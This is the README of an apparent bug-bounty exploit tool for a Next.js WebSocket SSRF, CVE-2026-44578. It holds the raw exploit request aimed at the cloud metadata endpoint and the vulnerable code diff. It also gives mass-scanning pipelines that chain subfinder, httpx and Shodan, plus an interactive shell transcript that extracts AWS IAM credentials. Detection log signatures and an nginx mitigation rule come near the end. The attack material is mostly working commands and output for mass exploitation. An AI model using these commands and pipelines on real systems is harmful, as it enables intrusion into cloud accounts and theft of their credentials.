╔══════════════════════════════════════════════════════════════╗
║ NextSSRF — CVE-2026-44578 Scanner & Exploit ║
║ Next.js WebSocket Upgrade Handler SSRF ║
║ Affected: 13.4.13 → 15.5.15, 16.0.0 → 16.2.4 ║
║ @mitsec / ynsmroztas — Bug Bounty Tooling ║
╚══════════════════════════════════════════════════════════════╝
CVE-2026-44578 — Server-Side Request Forgery via Next.js WebSocket Upgrade Handler
Overview · Install · Usage · Pipeline · Shodan · Interactive · Disclaimer
On May 11, 2026, Vercel patched CVE-2026-44578 (CVSS 8.6): an unauthenticated SSRF in Next.js's WebSocket upgrade handler affecting all self-hosted deployments from 13.4.13 onward.
GET http://169.254.169.254/latest/meta-data/ HTTP/1.1 ← absolute-form URI
Host: vulnerable-nextjs.com
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
The // in http:// triggers normalizeRepeatedSlashes early-exit, setting statusCode: 308 and finished: true. The vulnerable upgrade handler ignores both flags and calls proxyRequest when parsedUrl.protocol is truthy — proxying the request to the attacker-controlled host on port 80.
// router-server.ts (vulnerable)
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)| Product | Vulnerable | Fixed |
|---|---|---|
| Next.js | 13.4.13 – 15.5.15 | 15.5.16 |
| Next.js | 16.0.0 – 16.2.4 | 16.2.5 |
| Vercel-hosted | ✅ NOT affected | N/A |
- GET only (no POST/PUT)
- Port 80 only (explicit ports stripped by URL normalization)
- AWS IMDSv2 not exploitable (requires PUT token)
- GCP metadata rejects
Upgrade: websocketwith 400 - Reverse proxies (nginx/caddy/HAProxy) block absolute-form URIs
AWS IMDSv1 credentials exfiltrated via CVE-2026-44578 — interactive exploit shell
git clone https://github.com/ynsmroztas/nextssrf
cd nextssrf
python3 nextssrf.py -t https://target.comZero dependencies — Python stdlib only. Python 3.10+ required.
python3 nextssrf.py -t https://target.com# AWS metadata only
python3 nextssrf.py -t https://target.com --cloud aws
# Custom internal target
python3 nextssrf.py -t https://target.com \
--ssrf-host http://internal-api --path /admin
# Deep scan (+ internal services)
python3 nextssrf.py -t https://target.com --cloud aws --deep# subfinder + httpx + nextssrf
subfinder -d target.com | httpx -silent | \
python3 nextssrf.py --pipe --threads 20 --cloud aws -o results.jsonl
# File input
python3 nextssrf.py -f targets.txt --threads 15 -o results.json
# Force scan (even if version unknown)
python3 nextssrf.py -t https://target.com --force| Code | Meaning |
|---|---|
0 |
Not vulnerable / clean |
1 |
Vulnerable (no exploit) |
2 |
SSRF confirmed |
Advanced exploit shell with auto cloud detection and IAM credential extraction:
python3 nextssrf.py -t https://target.com╔══════════════════════════════════════════════════╗
║ NextSSRF v2 — Interactive Exploit Shell ║
║ Target : ec2-x-x-x-x.compute.amazonaws.com ║
║ CVE : CVE-2026-44578 | Status: Connected ║
╚══════════════════════════════════════════════════╝
nextssrf(ec2-x...)> cloud
[>] Detecting cloud provider...
✓ AWS — matched: ['ami-id', 'instance-id', 'iam/', 'hostname']
→ Run 'aws' for full credential extraction
nextssrf(ec2-x...)> aws
[1/3] Instance Information
[200] Hostname : ip-172-31-47-134.ec2.internal
[200] AZ : us-east-1d
[200] Account ID : {"AccountId": "370741706736"}
[2/3] IAM Role Discovery
✓ IAM Role found: my-ec2-role
[3/3] Credential Extraction
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
🎯 AWS CREDENTIALS EXFILTRATED!
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
AccessKeyId : ASIAXXXXXXXXXXXXXXXXXX
SecretKey : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Expiration : 2026-05-14T22:32:22Z
| Command | Description |
|---|---|
cloud |
Auto-detect cloud (AWS/Azure/GCP/DO/OCI) |
aws |
Full AWS IAM credential chain |
azure |
Azure managed identity token |
scan |
Cloud detect + auto exploit |
url <http://> |
Custom SSRF request |
get <N> |
AWS IMDS target by index |
list |
Show all IMDS endpoints |
history |
Request history |
save |
Export session to JSON |
quit |
Exit |
# Detect cloud + run full exploit chain automatically
python3 nextssrf.py -t https://target.com --auto# Full recon → exploit pipeline
subfinder -d target.com \
| httpx -silent -server \
| grep -i "next" \
| python3 nextssrf.py --pipe --cloud aws --deep -o findings.jsonl
# Shodan mass scan → interactive on confirmed hosts
python3 shodan_nextjs.py --key KEY --org "TargetCorp" \
| python3 nextssrf.py --pipe --cloud aws -o hits.jsonl
# Check specific version range
cat hosts.txt \
| python3 nextssrf.py --pipe --force --cloud aws \
| jq '.[] | select(.ssrf_hits | length > 0)'Signs of exploitation in logs:
# Next.js process logs
Failed to proxy http:/ ← single slash = normalization fingerprint
# Access logs (absolute-form URI + Upgrade header)
GET http://169.254.169.254/... HTTP/1.1
Connection: Upgrade
Upgrade: websocket
# Nginx: reject absolute-form request URIs
if ($request_uri ~* "^https?://") {
return 400;
}For authorized security testing and bug bounty research only. Use only against systems you own or have explicit written permission to test. The authors are not responsible for misuse or unauthorized use. Always follow your bug bounty program's rules of engagement.
Made with ❤️ by @mitsec · ynsmroztas.github.io
Top Hacker @ Intigriti · 100+ HOF · 2430+ Vulnerabilities · 1100+ P1 Critical
